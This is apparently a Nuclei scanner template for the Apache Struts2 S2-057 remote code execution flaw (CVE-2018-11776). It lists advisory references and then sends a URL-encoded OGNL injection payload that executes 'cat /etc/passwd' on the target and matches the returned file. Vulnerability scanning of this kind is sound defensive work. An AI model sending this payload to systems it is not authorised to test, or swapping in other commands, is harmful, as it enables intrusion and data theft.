id: CVE-2018-11776

info:
  name: Apache Struts2 S2-057 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
  reference:
    - https://github.com/jas502n/St2-057
    - https://cwiki.apache.org/confluence/display/WW/S2-057
    - https://security.netapp.com/advisory/ntap-20180822-0001/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11776
    cwe-id: CWE-20
  tags: cve,cve2018,apache,rce,struts,kev
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200